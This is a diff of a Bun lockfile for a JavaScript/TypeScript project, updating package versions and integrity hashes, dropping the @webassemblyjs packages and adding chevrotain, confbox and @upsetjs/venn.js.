"@typescript-eslint/visitor-keys": ["@typescript-eslint/visitor-keys@8.24.0", "", { "dependencies": { "@typescript-eslint/types": "8.24.0", "eslint-visitor-keys": "^4.2.0" } }, "sha512-kArLq83QxGLbuHrTMoOEWO+l2MwsNS2TGISEdx8xgqpkbytB07XmlQyQdNDrCc1ecSqx0cnmhGvpX+VBwqqSkg=="],
+ "@typespec/ts-http-runtime": ["@typespec/ts-http-runtime@0.3.4", "", { "dependencies": { "http-proxy-agent": "^7.0.0", "https-proxy-agent": "^7.0.0", "tslib": "^2.6.2" } }, "sha512-CI0NhTrz4EBaa0U+HaaUZrJhPoso8sG7ZFya8uQoBA57fjzrjRSv87ekCjLZOFExN+gXE/z0xuN2QfH4H2HrLQ=="],
+
"@ungap/structured-clone": ["@ungap/structured-clone@1.3.0", "", {}, "sha512-WmoN8qaIAo7WTYWbAZuG8PYEhn5fkz7dZrqTBZ7dtt//lL2Gwms1IcnQ5yHqjDfX8Ft5j4YzDM23f87zBfDe9g=="],
"@unrs/resolver-binding-android-arm-eabi": ["@unrs/resolver-binding-android-arm-eabi@1.11.1", "", { "os": "android", "cpu": "arm" }, "sha512-ppLRUgHVaGRWUx0R0Ut06Mjo9gBaBkg3v/8AxusGLhsIotbBLuRk51rAzqLC8gq6NyyAojEXglNjzf6R948DNw=="],
@@ -2079,48 +2271,14 @@
"@unrs/resolver-binding-win32-x64-msvc": ["@unrs/resolver-binding-win32-x64-msvc@1.11.1", "", { "os": "win32", "cpu": "x64" }, "sha512-lrW200hZdbfRtztbygyaq/6jP6AKE8qQN2KvPcJ+x7wiD038YtnYtZ82IMNJ69GJibV7bwL3y9FgK+5w/pYt6g=="],
- "@vitejs/plugin-react": ["@vitejs/plugin-react@4.3.4", "", { "dependencies": { "@babel/core": "^7.26.0", "@babel/plugin-transform-react-jsx-self": "^7.25.9", "@babel/plugin-transform-react-jsx-source": "^7.25.9", "@types/babel__core": "^7.20.5", "react-refresh": "^0.14.2" }, "peerDependencies": { "vite": "^4.2.0 || ^5.0.0 || ^6.0.0" } }, "sha512-SCCPBJtYLdE8PX/7ZQAs1QAZ8Jqwih+0VBLum1EGqmCCQal+MIUqLCzj3ZUy8ufbC0cAM4LRlSTm7IQJwWT4ug=="],
+ "@upsetjs/venn.js": ["@upsetjs/venn.js@2.0.0", "", { "optionalDependencies": { "d3-selection": "^3.0.0", "d3-transition": "^3.0.1" } }, "sha512-WbBhLrooyePuQ1VZxrJjtLvTc4NVfpOyKx0sKqioq9bX1C1m7Jgykkn8gLrtwumBioXIqam8DLxp88Adbue6Hw=="],
- "@webassemblyjs/ast": ["@webassemblyjs/ast@1.12.1", "", { "dependencies": { "@webassemblyjs/helper-numbers": "1.11.6", "@webassemblyjs/helper-wasm-bytecode": "1.11.6" } }, "sha512-EKfMUOPRRUTy5UII4qJDGPpqfwjOmZ5jeGFwid9mnoqIFK+e0vqoi1qH56JpmZSzEL53jKnNzScdmftJyG5xWg=="],
-
- "@webassemblyjs/floating-point-hex-parser": ["@webassemblyjs/floating-point-hex-parser@1.11.6", "", {}, "sha512-ejAj9hfRJ2XMsNHk/v6Fu2dGS+i4UaXBXGemOfQ/JfQ6mdQg/WXtwleQRLLS4OvfDhv8rYnVwH27YJLMyYsxhw=="],
-
- "@webassemblyjs/helper-api-error": ["@webassemblyjs/helper-api-error@1.11.6", "", {}, "sha512-o0YkoP4pVu4rN8aTJgAyj9hC2Sv5UlkzCHhxqWj8butaLvnpdc2jOwh4ewE6CX0txSfLn/UYaV/pheS2Txg//Q=="],
-
- "@webassemblyjs/helper-buffer": ["@webassemblyjs/helper-buffer@1.12.1", "", {}, "sha512-nzJwQw99DNDKr9BVCOZcLuJJUlqkJh+kVzVl6Fmq/tI5ZtEyWT1KZMyOXltXLZJmDtvLCDgwsyrkohEtopTXCw=="],
-
- "@webassemblyjs/helper-numbers": ["@webassemblyjs/helper-numbers@1.11.6", "", { "dependencies": { "@webassemblyjs/floating-point-hex-parser": "1.11.6", "@webassemblyjs/helper-api-error": "1.11.6", "@xtuc/long": "4.2.2" } }, "sha512-vUIhZ8LZoIWHBohiEObxVm6hwP034jwmc9kuq5GdHZH0wiLVLIPcMCdpJzG4C11cHoQ25TFIQj9kaVADVX7N3g=="],
-
- "@webassemblyjs/helper-wasm-bytecode": ["@webassemblyjs/helper-wasm-bytecode@1.11.6", "", {}, "sha512-sFFHKwcmBprO9e7Icf0+gddyWYDViL8bpPjJJl0WHxCdETktXdmtWLGVzoHbqUcY4Be1LkNfwTmXOJUFZYSJdA=="],
-
- "@webassemblyjs/helper-wasm-section": ["@webassemblyjs/helper-wasm-section@1.12.1", "", { "dependencies": { "@webassemblyjs/ast": "1.12.1", "@webassemblyjs/helper-buffer": "1.12.1", "@webassemblyjs/helper-wasm-bytecode": "1.11.6", "@webassemblyjs/wasm-gen": "1.12.1" } }, "sha512-Jif4vfB6FJlUlSbgEMHUyk1j234GTNG9dBJ4XJdOySoj518Xj0oGsNi59cUQF4RRMS9ouBUxDDdyBVfPTypa5g=="],
-
- "@webassemblyjs/ieee754": ["@webassemblyjs/ieee754@1.11.6", "", { "dependencies": { "@xtuc/ieee754": "^1.2.0" } }, "sha512-LM4p2csPNvbij6U1f19v6WR56QZ8JcHg3QIJTlSwzFcmx6WSORicYj6I63f9yU1kEUtrpG+kjkiIAkevHpDXrg=="],
-
- "@webassemblyjs/leb128": ["@webassemblyjs/leb128@1.11.6", "", { "dependencies": { "@xtuc/long": "4.2.2" } }, "sha512-m7a0FhE67DQXgouf1tbN5XQcdWoNgaAuoULHIfGFIEVKA6tu/edls6XnIlkmS6FrXAquJRPni3ZZKjw6FSPjPQ=="],
-
- "@webassemblyjs/utf8": ["@webassemblyjs/utf8@1.11.6", "", {}, "sha512-vtXf2wTQ3+up9Zsg8sa2yWiQpzSsMyXj0qViVP6xKGCUT8p8YJ6HqI7l5eCnWx1T/FYdsv07HQs2wTFbbof/RA=="],
-
- "@webassemblyjs/wasm-edit": ["@webassemblyjs/wasm-edit@1.12.1", "", { "dependencies": { "@webassemblyjs/ast": "1.12.1", "@webassemblyjs/helper-buffer": "1.12.1", "@webassemblyjs/helper-wasm-bytecode": "1.11.6", "@webassemblyjs/helper-wasm-section": "1.12.1", "@webassemblyjs/wasm-gen": "1.12.1", "@webassemblyjs/wasm-opt": "1.12.1", "@webassemblyjs/wasm-parser": "1.12.1", "@webassemblyjs/wast-printer": "1.12.1" } }, "sha512-1DuwbVvADvS5mGnXbE+c9NfA8QRcZ6iKquqjjmR10k6o+zzsRVesil54DKexiowcFCPdr/Q0qaMgB01+SQ1u6g=="],
-
- "@webassemblyjs/wasm-gen": ["@webassemblyjs/wasm-gen@1.12.1", "", { "dependencies": { "@webassemblyjs/ast": "1.12.1", "@webassemblyjs/helper-wasm-bytecode": "1.11.6", "@webassemblyjs/ieee754": "1.11.6", "@webassemblyjs/leb128": "1.11.6", "@webassemblyjs/utf8": "1.11.6" } }, "sha512-TDq4Ojh9fcohAw6OIMXqiIcTq5KUXTGRkVxbSo1hQnSy6lAM5GSdfwWeSxpAo0YzgsgF182E/U0mDNhuA0tW7w=="],
-
- "@webassemblyjs/wasm-opt": ["@webassemblyjs/wasm-opt@1.12.1", "", { "dependencies": { "@webassemblyjs/ast": "1.12.1", "@webassemblyjs/helper-buffer": "1.12.1", "@webassemblyjs/wasm-gen": "1.12.1", "@webassemblyjs/wasm-parser": "1.12.1" } }, "sha512-Jg99j/2gG2iaz3hijw857AVYekZe2SAskcqlWIZXjji5WStnOpVoat3gQfT/Q5tb2djnCjBtMocY/Su1GfxPBg=="],
-
- "@webassemblyjs/wasm-parser": ["@webassemblyjs/wasm-parser@1.12.1", "", { "dependencies": { "@webassemblyjs/ast": "1.12.1", "@webassemblyjs/helper-api-error": "1.11.6", "@webassemblyjs/helper-wasm-bytecode": "1.11.6", "@webassemblyjs/ieee754": "1.11.6", "@webassemblyjs/leb128": "1.11.6", "@webassemblyjs/utf8": "1.11.6" } }, "sha512-xikIi7c2FHXysxXe3COrVUPSheuBtpcfhbpFj4gmu7KRLYOzANztwUU0IbsqvMqzuNK2+glRGWCEqZo1WCLyAQ=="],
-
- "@webassemblyjs/wast-printer": ["@webassemblyjs/wast-printer@1.12.1", "", { "dependencies": { "@webassemblyjs/ast": "1.12.1", "@xtuc/long": "4.2.2" } }, "sha512-+X4WAlOisVWQMikjbcvY2e0rwPsKQ9F688lksZhBcPycBBuii3O7m8FACbDMWDojpAqvjIncrG8J0XHKyQfVeA=="],
+ "@vitejs/plugin-react": ["@vitejs/plugin-react@5.1.4", "", { "dependencies": { "@babel/core": "^7.29.0", "@babel/plugin-transform-react-jsx-self": "^7.27.1", "@babel/plugin-transform-react-jsx-source": "^7.27.1", "@rolldown/pluginutils": "1.0.0-rc.3", "@types/babel__core": "^7.20.5", "react-refresh": "^0.18.0" }, "peerDependencies": { "vite": "^4.2.0 || ^5.0.0 || ^6.0.0 || ^7.0.0" } }, "sha512-VIcFLdRi/VYRU8OL/puL7QXMYafHmqOnwTZY50U1JPlCNj30PxCMx65c494b1K9be9hX83KVt0+gTEwTWLqToA=="],
"@xmldom/is-dom-node": ["@xmldom/is-dom-node@1.0.1", "", {}, "sha512-CJDxIgE5I0FH+ttq/Fxy6nRpxP70+e2O048EPe85J2use3XKdatVM7dDVvFNjQudd9B49NPoZ+8PG49zj4Er8Q=="],
"@xmldom/xmldom": ["@xmldom/xmldom@0.8.10", "", {}, "sha512-2WALfTl4xo2SkGCYRt6rDTFfk9R1czmBvUQy12gK2KuRKIpWEhcbbzy8EZXtz/jkRqHX8bFEc6FC1HjX4TUWYw=="],
- "@xtuc/ieee754": ["@xtuc/ieee754@1.2.0", "", {}, "sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA=="],
-
- "@xtuc/long": ["@xtuc/long@4.2.2", "", {}, "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ=="],
-
- "abab": ["abab@2.0.6", "", {}, "sha512-j2afSsaIENvHZN2B8GOpF566vZ5WVk5opAiMTvWgaQT8DkbOqsTfvNAvHoRGU2zzP8cPoqys+xHTRDWW8L+/BA=="],
-
"abbrev": ["abbrev@1.1.1", "", {}, "sha512-nne9/IiQ/hzIhY6pdDnbBtz7DjPTKrY00P/zvPSm5pOFkl6xuGrGnXn/VtTNNfNtAfZ9/1RtehkszU9qcTii0Q=="],
"abstract-logging": ["abstract-logging@2.0.1", "", {}, "sha512-2BjRTZxTPvheOvGbBslFSYOUkr+SjPtOnrLP33f+VIWLzezQpZcqVg7ja3L4dBXmzzgwT+a029jRx5PCi3JuiA=="],
@@ -2129,8 +2287,6 @@
"acorn": ["acorn@8.15.0", "", { "bin": "bin/acorn" }, "sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg=="],
- "acorn-globals": ["acorn-globals@7.0.1", "", { "dependencies": { "acorn": "^8.1.0", "acorn-walk": "^8.0.2" } }, "sha512-umOSDSDrfHbTNPuNpC2NSnnA3LUrqpevPb4T9jRx4MagXNS0rs+gwiTcAvqCRmsD6utzsrzNt+ebm00SNWiC3Q=="],
-
"acorn-import-attributes": ["acorn-import-attributes@1.9.5", "", { "peerDependencies": { "acorn": "^8" } }, "sha512-n02Vykv5uA3eHGM/Z2dQrcD56kL8TyDb2p1+0P83PClMnC/nc+anbQRhIOWnSq4Ke/KvDPrY3C9hDtC/A3eHnQ=="],
"acorn-jsx": ["acorn-jsx@5.3.2", "", { "peerDependencies": { "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" } }, "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ=="],
@@ -2139,12 +2295,10 @@
"agent-base": ["agent-base@7.1.4", "", {}, "sha512-MnA+YT8fwfJPgBx3m60MNqakm30XOkyIoH1y6huTQvC0PwZG7ki8NacLBcrPbNoo8vEZy7Jpuk7+jMO+CUovTQ=="],
- "ajv": ["ajv@6.12.6", "", { "dependencies": { "fast-deep-equal": "^3.1.1", "fast-json-stable-stringify": "^2.0.0", "json-schema-traverse": "^0.4.1", "uri-js": "^4.2.2" } }, "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g=="],
+ "ajv": ["ajv@6.14.0", "", { "dependencies": { "fast-deep-equal": "^3.1.1", "fast-json-stable-stringify": "^2.0.0", "json-schema-traverse": "^0.4.1", "uri-js": "^4.2.2" } }, "sha512-IWrosm/yrn43eiKqkfkHis7QioDleaXQHdDVPKg0FSwwd/DuvyX79TZnFOnYpB7dcsFAMmtFztZuXPDvSePkFw=="],
"ajv-formats": ["ajv-formats@3.0.1", "", { "dependencies": { "ajv": "^8.0.0" }, "peerDependencies": { "ajv": "^8.0.0" } }, "sha512-8iUql50EUR+uUcdRQ3HDqa6EVyo3docL8g5WJ3FNcWmu62IbkGUue/pEyLBW8VGKKucTPgqeks4fIU1DA4yowQ=="],
- "ajv-keywords": ["ajv-keywords@3.5.2", "", { "peerDependencies": { "ajv": "^6.9.1" } }, "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ=="],
-
"anser": ["anser@2.1.1", "", {}, "sha512-nqLm4HxOTpeLOxcmB3QWmV5TcDFhW9y/fyQ+hivtDFcK4OQ+pQ5fzPnXHM1Mfcm0VkLtvVi1TCPr++Qy0Q/3EQ=="],
"ansi-escapes": ["ansi-escapes@4.3.2", "", { "dependencies": { "type-fest": "^0.21.3" } }, "sha512-gKXj5ALrKWQLsYG9jlTRmR/xKluxHV+Z9QEwNIgCfM1/uwPMCuzVVnh5mwTd+OuBZcwSIMbqssNWRm1lE51QaQ=="],
@@ -2161,7 +2315,7 @@
"arg": ["arg@4.1.3", "", {}, "sha512-58S9QDqG0Xx27YwPSt9fJxivjYl432YCwfDMfZ+71RAqUrZef7LrKQZ3LHLOwCS4FLNBplP533Zx895SeOCHvA=="],
- "argparse": ["argparse@2.0.1", "", {}, "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q=="],
+ "argparse": ["argparse@1.0.10", "", { "dependencies": { "sprintf-js": "~1.0.2" } }, "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg=="],
"aria-hidden": ["aria-hidden@1.2.6", "", { "dependencies": { "tslib": "^2.0.0" } }, "sha512-ik3ZgC9dY/lYVVM++OISsaYDeg1tb0VtP5uL3ouh1koGOaUMDPpbFIei4JkFimWUFPn90sbMNMXQAIVOlnYKJA=="],
@@ -2223,11 +2377,11 @@
"babel-plugin-jest-hoist": ["babel-plugin-jest-hoist@30.2.0", "", { "dependencies": { "@types/babel__core": "^7.20.5" } }, "sha512-ftzhzSGMUnOzcCXd6WHdBGMyuwy15Wnn0iyyWGKgBDLxf9/s5ABuraCSpBX2uG0jUg4rqJnxsLc5+oYBqoxVaA=="],
- "babel-plugin-polyfill-corejs2": ["babel-plugin-polyfill-corejs2@0.4.12", "", { "dependencies": { "@babel/compat-data": "^7.22.6", "@babel/helper-define-polyfill-provider": "^0.6.3", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-CPWT6BwvhrTO2d8QVorhTCQw9Y43zOu7G9HigcfxvepOU6b8o3tcWad6oVgZIsZCTt42FFv97aA7ZJsbM4+8og=="],
+ "babel-plugin-polyfill-corejs2": ["babel-plugin-polyfill-corejs2@0.4.14", "", { "dependencies": { "@babel/compat-data": "^7.27.7", "@babel/helper-define-polyfill-provider": "^0.6.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-Co2Y9wX854ts6U8gAAPXfn0GmAyctHuK8n0Yhfjd6t30g7yvKjspvvOo9yG+z52PZRgFErt7Ka2pYnXCjLKEpg=="],
- "babel-plugin-polyfill-corejs3": ["babel-plugin-polyfill-corejs3@0.11.1", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.6.3", "core-js-compat": "^3.40.0" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-yGCqvBT4rwMczo28xkH/noxJ6MZ4nJfkVYdoDaC/utLtWrXxv27HVrzAeSbqR8SxDsp46n0YF47EbHoixy6rXQ=="],
+ "babel-plugin-polyfill-corejs3": ["babel-plugin-polyfill-corejs3@0.13.0", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.6.5", "core-js-compat": "^3.43.0" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-U+GNwMdSFgzVmfhNm8GJUX88AadB3uo9KpJqS3FaqNIPKgySuvMb+bHPsOmmuWyIcuqZj/pzt1RUIUZns4y2+A=="],
- "babel-plugin-polyfill-regenerator": ["babel-plugin-polyfill-regenerator@0.6.3", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.6.3" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-LiWSbl4CRSIa5x/JAU6jZiG9eit9w6mz+yVMFwDE83LAWvt0AfGBoZ7HS/mkhrKuh2ZlzfVZYKoLjXdqw6Yt7Q=="],
+ "babel-plugin-polyfill-regenerator": ["babel-plugin-polyfill-regenerator@0.6.5", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.6.5" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-ISqQ2frbiNU9vIJkzg7dlPpznPZ4jOiUQ1uSmB0fEHeowtN3COYRsXr/xexn64NpU13P06jc/L5TgiJXOgrbEg=="],
"babel-plugin-replace-ts-export-assignment": ["babel-plugin-replace-ts-export-assignment@0.0.2", "", {}, "sha512-BiTEG2Ro+O1spuheL5nB289y37FFmz0ISE6GjpNCG2JuA/WNcuEHSYw01+vN8quGf208sID3FnZFDwVyqX18YQ=="],
@@ -2253,7 +2407,7 @@
"base64url": ["base64url@3.0.1", "", {}, "sha512-ir1UPr3dkwexU7FdV8qBBbNDRUhMmIekYMFZfi+C/sLNnRESKPl23nB9b2pltqfOQNnGzsDdId90AEtG5tCx4A=="],
- "baseline-browser-mapping": ["baseline-browser-mapping@2.8.28", "", { "bin": "dist/cli.js" }, "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ=="],
+ "baseline-browser-mapping": ["baseline-browser-mapping@2.10.0", "", { "bin": { "baseline-browser-mapping": "dist/cli.cjs" } }, "sha512-lIyg0szRfYbiy67j9KN8IyeD7q7hcmqnJ1ddWmNt19ItGpNN64mnllmxUNFIOdOm6by97jlL6wfpTTJrmnjWAA=="],
"bcryptjs": ["bcryptjs@2.4.3", "", {}, "sha512-V/Hy/X9Vt7f3BbPJEi8BdVFMByHi+jNXrYkW3huaybV/kQ0KJg0Y6PkEMbn+zeT+i+SiKZ/HMqJGIIt4LZDqNQ=="],
@@ -2261,9 +2415,11 @@
"binary-extensions": ["binary-extensions@2.2.0", "", {}, "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA=="],
+ "bluebird": ["bluebird@3.4.7", "", {}, "sha512-iD3898SR7sWVRHbiQv+sHUtHnMvC1o3nW5rAcqnq3uOn07DSAppZYUkIGslDz6gXC7HfunPe7YVBgoEJASPcHA=="],
+
"bn.js": ["bn.js@4.12.1", "", {}, "sha512-k8TVBiPkPJT9uHLdOKfFpqcfprwBFOAAXXozRubr7R7PfIuKvQlzcI4M0pALeqXN09vdaMbUdUj+pass+uULAg=="],
- "body-parser": ["body-parser@2.2.0", "", { "dependencies": { "bytes": "^3.1.2", "content-type": "^1.0.5", "debug": "^4.4.0", "http-errors": "^2.0.0", "iconv-lite": "^0.6.3", "on-finished": "^2.4.1", "qs": "^6.14.0", "raw-body": "^3.0.0", "type-is": "^2.0.0" } }, "sha512-02qvAaxv8tp7fBa/mw1ga98OGm+eCbqzJOKoRt70sLmfEEi+jyBYVTDGfCL/k06/4EMk/z01gCe7HoCH/f2LTg=="],
+ "body-parser": ["body-parser@2.2.2", "", { "dependencies": { "bytes": "^3.1.2", "content-type": "^1.0.5", "debug": "^4.4.3", "http-errors": "^2.0.0", "iconv-lite": "^0.7.0", "on-finished": "^2.4.1", "qs": "^6.14.1", "raw-body": "^3.0.1", "type-is": "^2.0.1" } }, "sha512-oP5VkATKlNwcgvxi0vM0p/D3n2C3EReYVX+DNYs5TjZFn/oQt2j+4sVJtSMr18pdRr8wjTcBl6LoV+FUwzPmNA=="],
"boolbase": ["boolbase@1.0.0", "", {}, "sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww=="],
@@ -2351,9 +2507,11 @@
"cheerio-select": ["cheerio-select@2.1.0", "", { "dependencies": { "boolbase": "^1.0.0", "css-select": "^5.1.0", "css-what": "^6.1.0", "domelementtype": "^2.3.0", "domhandler": "^5.0.3", "domutils": "^3.0.1" } }, "sha512-9v9kG0LvzrlcungtnJtpGNxY+fzECQKhK4EGJX2vByejiMX84MFNQw4UxPJl3bFbTMw+Dfs37XaIkCwTZfLh4g=="],
- "chokidar": ["chokidar@3.5.3", "", { "dependencies": { "anymatch": "~3.1.2", "braces": "~3.0.2", "glob-parent": "~5.1.2", "is-binary-path": "~2.1.0", "is-glob": "~4.0.1", "normalize-path": "~3.0.0", "readdirp": "~3.6.0" }, "optionalDependencies": { "fsevents": "~2.3.2" } }, "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw=="],
+ "chevrotain": ["chevrotain@11.1.2", "", { "dependencies": { "@chevrotain/cst-dts-gen": "11.1.2", "@chevrotain/gast": "11.1.2", "@chevrotain/regexp-to-ast": "11.1.2", "@chevrotain/types": "11.1.2", "@chevrotain/utils": "11.1.2", "lodash-es": "4.17.23" } }, "sha512-opLQzEVriiH1uUQ4Kctsd49bRoFDXGGSC4GUqj7pGyxM3RehRhvTlZJc1FL/Flew2p5uwxa1tUDWKzI4wNM8pg=="],
- "chrome-trace-event": ["chrome-trace-event@1.0.3", "", {}, "sha512-p3KULyQg4S7NIHixdwbGX+nFHkoBiA4YQmyWtjb8XngSKV124nJmRysgAeujbUVb15vh+RvFUfCPqU7rXk+hZg=="],
+ "chevrotain-allstar": ["chevrotain-allstar@0.3.1", "", { "dependencies": { "lodash-es": "^4.17.21" }, "peerDependencies": { "chevrotain": "^11.0.0" } }, "sha512-b7g+y9A0v4mxCW1qUhf3BSVPg+/NvGErk/dOkrDaHA0nQIQGAtrOjlX//9OQtRlSCy+x9rfB5N8yC71lH1nvMw=="],
+
+ "chokidar": ["chokidar@3.5.3", "", { "dependencies": { "anymatch": "~3.1.2", "braces": "~3.0.2", "glob-parent": "~5.1.2", "is-binary-path": "~2.1.0", "is-glob": "~4.0.1", "normalize-path": "~3.0.0", "readdirp": "~3.6.0" }, "optionalDependencies": { "fsevents": "~2.3.2" } }, "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw=="],
"ci-info": ["ci-info@4.3.1", "", {}, "sha512-Wdy2Igu8OcBpI2pZePZ5oWjPC38tmDVx5WKUXKwlLYkA0ozo85sLsLvkBbBn/sZaSCMFOGZJ14fvW9t5/d7kdA=="],
@@ -2419,6 +2577,8 @@
"concat-with-sourcemaps": ["concat-with-sourcemaps@1.1.0", "", { "dependencies": { "source-map": "^0.6.1" } }, "sha512-4gEjHJFT9e+2W/77h/DS5SGUgwDaOwprX8L/gl5+3ixnzkVJJsZWDSelmN3Oilw3LNDZjZV0yqH1hLG3k6nghg=="],
+ "confbox": ["confbox@0.1.8", "", {}, "sha512-RMtmw0iFkeR4YV+fUOSucriAQNb9g8zFR52MWCtl+cCZOFRNL6zeB395vPzFhEjjn4fMxXudmELnl/KF/WrK6w=="],
+
"connect-redis": ["connect-redis@8.1.0", "", { "peerDependencies": { "express-session": ">=1" } }, "sha512-Km0EYLDlmExF52UCss5gLGTtrukGC57G6WCC2aqEMft5Vr4xNWuM4tL+T97kWrw+vp40SXFteb6Xk/7MxgpwdA=="],
"console-browserify": ["console-browserify@1.2.0", "", {}, "sha512-ZMkYO/LkF17QvCPqM0gxw8yUzigAOZOSWSHg91FH6orS7vcEj5dVZTidN2fQ14yBSdg97RqhSNwLUXInd52OTA=="],
@@ -2445,13 +2605,13 @@
"copy-to-clipboard": ["copy-to-clipboard@3.3.3", "", { "dependencies": { "toggle-selection": "^1.0.6" } }, "sha512-2KV8NhB5JqC3ky0r9PMCAZKbUHSwtEo4CwCs0KXgruG43gX5PMqDEBbVU4OUzw2MuAWUfsuFmWvEKG5QRfSnJA=="],
- "core-js-compat": ["core-js-compat@3.40.0", "", { "dependencies": { "browserslist": "^4.24.3" } }, "sha512-0XEDpr5y5mijvw8Lbc6E5AkjrHfp7eEoPlu36SWeAbcL8fn1G1ANe8DBlo2XoNN89oVpxWwOjYIPVzR4ZvsKCQ=="],
+ "core-js-compat": ["core-js-compat@3.47.0", "", { "dependencies": { "browserslist": "^4.28.0" } }, "sha512-IGfuznZ/n7Kp9+nypamBhvwdwLsW6KC8IOaURw2doAK5e98AG3acVLdh0woOnEqCfUtS+Vu882JE4k/DAm3ItQ=="],
- "core-util-is": ["core-util-is@1.0.2", "", {}, "sha512-3lqz5YjWTYnW6dlDa5TLaTCcShfar1e40rmcJVwCBJC6mWlFuj0eCHIElmG1g5kyuJ/GD+8Wn4FFCcz4gJPfaQ=="],
+ "core-util-is": ["core-util-is@1.0.3", "", {}, "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ=="],
"cors": ["cors@2.8.5", "", { "dependencies": { "object-assign": "^4", "vary": "^1" } }, "sha512-KIHbLJqu73RGr/hnbrO9uBeixNGuvSQjul/jdFvS/KFSIH1hWVd1ng7zOHx+YrEfInLG7q4n6GHQ9cDtxv/P6g=="],
- "cosmiconfig": ["cosmiconfig@8.3.6", "", { "dependencies": { "import-fresh": "^3.3.0", "js-yaml": "^4.1.0", "parse-json": "^5.2.0", "path-type": "^4.0.0" }, "peerDependencies": { "typescript": ">=4.9.5" } }, "sha512-kcZ6+W5QzcJ3P1Mt+83OUv/oHFqZHIx8DuxG6eZ5RGMERoLqp4BuGjhHLYGK+Kf5XVkQvqBSmAy/nGWN3qDgEA=="],
+ "cose-base": ["cose-base@1.0.3", "", { "dependencies": { "layout-base": "^1.0.0" } }, "sha512-s9whTXInMSgAp/NVXVNuVxVKzGH2qck3aQlVHxDCdAEPgtMKwc4Wq6/QKhgdEdgbLSi9rBTAcPoRa6JpiG4ksg=="],
"create-ecdh": ["create-ecdh@4.0.4", "", { "dependencies": { "bn.js": "^4.1.0", "elliptic": "^6.5.3" } }, "sha512-mf+TCx8wWc9VpuxfP2ht0iSISLZnt0JgWlrOKZiNqyUZWnjIaCIVNQArMHnCZKfEYRg6IM7A+NeJoN8gf/Ws0A=="],
@@ -2473,13 +2633,13 @@
"crypto-random-string": ["crypto-random-string@2.0.0", "", {}, "sha512-v1plID3y9r/lPhviJ1wrXpLeyUIGAZ2SHNYTEapm7/8A9nLPoyvVp3RK/EPFqn5kEznyWgYZNsRtYYIWbuG8KA=="],
- "css-blank-pseudo": ["css-blank-pseudo@5.0.2", "", { "dependencies": { "postcss-selector-parser": "^6.0.10" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-aCU4AZ7uEcVSUzagTlA9pHciz7aWPKA/YzrEkpdSopJ2pvhIxiQ5sYeMz1/KByxlIo4XBdvMNJAVKMg/GRnhfw=="],
+ "css-blank-pseudo": ["css-blank-pseudo@8.0.1", "", { "dependencies": { "postcss-selector-parser": "^7.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-C5B2e5hCM4llrQkUms+KnWEMVW8K1n2XvX9G7ppfMZJQ7KAS/4rNnkP1Cs+HhWriOz1mWWTMFD4j1J7s31Dgug=="],
"css-declaration-sorter": ["css-declaration-sorter@6.4.1", "", { "peerDependencies": { "postcss": "^8.0.9" } }, "sha512-rtdthzxKuyq6IzqX6jEcIzQF/YqccluefyCYheovBOLhFT/drQA9zj/UbRAa9J7C0o6EG6u3E6g+vKkay7/k3g=="],
